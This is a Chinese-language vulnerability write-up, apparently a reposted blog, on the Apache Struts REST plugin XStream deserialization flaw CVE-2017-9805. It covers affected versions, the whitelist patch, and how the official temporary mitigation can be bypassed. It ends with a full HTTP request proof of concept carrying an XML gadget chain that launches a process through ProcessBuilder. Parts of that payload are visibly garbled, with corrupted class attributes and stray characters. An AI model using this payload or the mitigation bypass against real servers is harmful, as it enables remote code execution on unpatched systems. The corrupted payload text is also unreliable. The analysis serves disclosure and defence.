综述
2017年9月5日,Apache Struts发布最新的安全公告,Apache Struts 2.5.x和2.3.x的REST插件存在远程代码执行的高危漏洞,漏洞编号为CVE-2017-9805(S2-052)。漏洞的成因是由于使用XStreamHandler反序列化XStream实例的时候没有任何类型过滤导致远程代码执行。
相关链接如下:
https://cwiki.apache.org/confluence/display/WW/S2-052
影响版本:
Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12
规避方案
立即升级到Struts 2.5.13 or Struts 2.3.34
技术分析
根据官方的描述信息来看,是REST插件使用到XStreamHandler处理xml数据的时候,由于未对xml数据做任何过滤,在进行反序列将xml数据转换成Object时导致的RCE。
0x01 环境搭建
0x02 补丁分析
环境搭建好了之后,首先我们来看下rest插件的相关配置
从这个文件中就可以看出XStreamHanler就是Content-Type:xml的默认处理句柄,而且可以看出xml是默认支持格式,这也就是说存在rest插件就会存在XStream的反序列化漏洞。
接着看看官方的修复方案,补丁地址:https://github.com/apache/struts/commit/19494718865f2fb7da5ea363de3822f87fbda264
在官方的修复方案中,主要就是将xml中的数据白名单化,把Collection和Map,一些基础类,时间类放在白名单中,这样就能阻止XStream反序列化的过程中带入一些有害类。
0x03 POC的生成
目前公开的Poc是基于javax.imageio的,这是能直接本地执行命令,但是marshelsec提供了11个XStream反序列化库,其中大部分都是基于JNDI,具体包含:CommonsConfiguration, Rome, CommonsBeanutils, ServiceLoader, ImageIO,
BindingEnumeration, LazySearchEnumeration, SpringAbstractBeanFactoryPointcutAdvisor, SpringPartiallyComparableAdvisorHolder, Resin, XBean,
从外部请求类完成反序列化。
0x04 漏洞验证及简单分析
下图是一个简单的验证分析图,从Poc中可以看出,请求是PUT,请求的url后缀带xml,请求的Content-Type为delicious/bookmark+xml,请求的xml的前缀是<set>
.
接着我们看下触发的执行调用栈:
在XStreamHanler.toObject调用了XStream的fromXml,从而进入反序列化流程。
0x05 官方临时缓解措施不起作用
官方给出的缓解措施<constant name="struts.action.extension" value="xhtml,,,json" />
,从字面意思也能看出来,这个是针对action的后缀的,也就是说如果后缀不带xml也就可以绕过。下面给出测试用例,从我们的poc中也可以看出,POST请求不带xml的后缀直接忽视这个缓解措施。所以说Struts的官方也不怎么复制,没测试过的东西就直接放出来。XStream只跟Content-Type有关,如果Content-Type中含有xml,则会交给XStream处理,所以poc该怎么使还怎么使,并且目前最大的问题就是国内的解决都是使用的这个无效的官方解决方案,下面看下我们的验证:
从图上可以看出,我们已经去除了xml的支持,下面来看看Payload的执行效果:
成功弹出计算器,这也就验证了我们的想法。同时通过两个不同poc的比较,我们也能发现一些端倪,Content-Type支持xml的几种格式,POST请求,PUT请求,GET请求甚至是自定义请求都是能触发漏洞,我们可以将poc中<map><entry>
换成<set>
也能触发漏洞。同时由于XStream本身的Poc多大十一种,做好安全防御确实比较艰难。
POC
POST /struts2-rest-showcase/orders/3;jsessionid=A82EAA2857AlFFAF61FF24AlFBB4A3C7 HTTP/1.1 Host: 127.0.0.1:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:54.0) Gecko/20100101 Firefox/54.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 b Content-Type: application/xml Content-Length: 1663 Referer: http://127.0.0.1:8080/struts2-rest-showcase/orders/3/edit Cookie: 3SESSI0NID=A82EAA2857A1FFAF61FF24A1FBB4A3C7 Connection: close Upgrade-Insecure-Requests: 1 <map> <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class=ucom.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class=Mcom.sun.xml.internal.ws .encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIteratoru/> <next class="java.lang.ProcessBuilder"> <command> <string>/Applications/Calculator.app/Contents/MacOS/Calculator</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class=ustring">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStreamM/> <ibufferx/ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.Nativestring reference?"/jdk.nashorn.internal.objects.NativeString’7>〈/entry> <entry> <jdk.nashorn.internal.objects.Nativestring reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.Nativestring reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> </entry> </map>|
转载原文地址:点我访问
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论